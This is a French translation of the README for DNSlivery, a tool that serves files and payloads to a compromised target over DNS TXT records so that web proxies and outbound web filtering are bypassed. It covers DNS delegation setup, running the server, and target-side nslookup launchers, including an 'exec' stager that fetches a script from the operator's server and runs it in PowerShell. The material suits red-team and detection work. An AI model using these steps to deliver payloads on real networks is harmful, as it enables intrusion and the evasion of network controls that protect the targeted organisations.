
Livraison facile de fichiers et de charges utiles via DNS
Livraison facile de fichiers et de payloads via DNS.
Ce projet a été initialement inspiré par PowerDNS et le segment technique de Joff Thyer sur le podcast Paul's Security Weekly #590 (youtu.be/CP6cIwFJswQ).
DNSlivery permet de livrer des fichiers vers une cible en utilisant DNS comme protocole de transport.
Fonctionnalités :

Livrer facilement des fichiers et/ou des payloads vers une cible compromise lorsque la livraison web classique est impossible et sans besoin d’un logiciel client dédié. Cela s’applique aux environnements restreints où le trafic web sortant est interdit ou simplement inspecté par un proxy web curieux.

Bien que des outils de tunneling DNS plus complets existent déjà (p. ex. dnscat2 et iodine), ils nécessitent tous l’exécution d’un client dédié sur la cible. Le problème est qu’il n’existe probablement pas d’autre moyen que DNS pour livrer le client dans de tels environnements restreints. En d’autres termes, construire un canal de communication DNS avec ces outils nécessite déjà de disposer d’un canal de communication DNS.
En comparaison, DNSlivery ne fournit qu’une communication unidirectionnelle de votre serveur vers la cible, mais ne nécessite aucun client dédié pour cela. Ainsi, si vous avez besoin de construire un canal de communication bidirectionnel fiable via DNS, utilisez DNSlivery pour livrer le client d’un outil de tunneling DNS plus avancé vers votre cible.
Comme la plupart des outils de tunneling DNS, DNSlivery utilise les enregistrements TXT pour stocker le contenu des fichiers dans leur représentation base64. Cependant, il ne nécessite pas la configuration d’un serveur DNS complet pour fonctionner. Au lieu de cela, il utilise la bibliothèque scapy pour écouter les paquets DNS entrants et construire la réponse souhaitée.

Comme la plupart des fichiers ne tiennent pas dans un seul enregistrement TXT, DNSlivery crée plusieurs enregistrements ordonnés contenant des fragments base64 du fichier. Par exemple, le diagramme ci-dessus illustre la livraison du 42e fragment du fichier nommé file.
Afin de récupérer tous les fragments base64 et de les reconstituer sans nécessiter de client dédié sur la cible, DNSlivery génère pour chaque fichier :

Ce processus de livraison en deux étapes est nécessaire pour ajouter des fonctionnalités au stager (p. ex. la gestion des réponses DNS perdues) qui ne tiendraient pas autrement dans un seul enregistrement TXT.
Actuellement, seules les cibles PowerShell sont supportées. Cependant, DNSlivery pourrait être amélioré pour supporter d’autres cibles comme bash ou python. Veuillez me le faire savoir @no0be si c’est une fonctionnalité que vous aimeriez voir implémentée.
DNSlivery ne nécessite pas la construction d’une infrastructure serveur complexe. En fait, il n’y a que deux exigences simples :
NS dans votre zone DNS publiqueudp/53 depuis InternetLa première étape consiste à déléguer un sous-domaine au serveur qui exécutera DNSlivery en créant un nouvel enregistrement NS dans votre domaine. Par exemple, j’ai créé l’enregistrement suivant pour déléguer le sous-domaine dnsd.no0.be au serveur vps.no0.be.
dnsd IN NS vps.no0.be.
Si votre zone est gérée par un fournisseur tiers, référez-vous à sa documentation pour créer l’enregistrement NS.
Les seules exigences pour exécuter DNSlivery sont python3 et la bibliothèque scapy.
git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
pip install -r requirements.txt
DNSlivery sert tous les fichiers d’un répertoire donné (pwd par défaut) et doit être exécuté avec les privilèges root pour écouter les paquets udp/53 entrants.
usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver
DNSlivery - Easy files and payloads delivery over DNS
positional arguments:
interface interface to listen to DNS traffic
domain FQDN name of the DNS zone
nameserver FQDN name of the server running DNSlivery
optional arguments:
-h, --help show this help message and exit
-p PATH, --path PATH path of directory to serve over DNS (default: pwd)
-s SIZE, --size SIZE size in bytes of base64 chunks (default: 255)
-v, --verbose increase verbosity
Exemple :
$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery
DNSlivery - Easy files and payloads delivery over DNS
[*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)
[*] Listening for DNS queries...
Comme le jeu de caractères autorisé pour les noms de domaine est beaucoup plus restrictif que pour les noms de fichiers UNIX (selon RFC1035), DNSlivery effectue une normalisation lorsque cela est nécessaire.
Exemple :
[*] File "My Awesome Powershell Script ;).ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)
Sachez que le code de normalisation actuel n’est pas parfait car il ne prend pas en compte les noms de fichiers qui se chevauchent ni la limite de taille.
Sur la cible, commencez par récupérer le lanceur du fichier souhaité en demandant son enregistrement TXT dédié. Les trois lanceurs suivants sont supportés :
nslookup -type=txt [filename].[stager].[domain]
Ensuite, copiez et collez simplement le lanceur cité dans la réponse DNS dans une console PowerShell pour récupérer le fichier sur la cible.
Exemple :

| Action | Lanceur | Description |
|---|
| Afficher | [filename].print.[domain] | (Par défaut) Affiche le fichier livré dans la console |
| Exécuter | [filename].exec.[domain] | Exécute le fichier livré (utile pour les scripts) |
| Sauvegarder | [filename].save.[domain] | Sauvegarde le fichier livré sur le disque (utile pour les binaires) |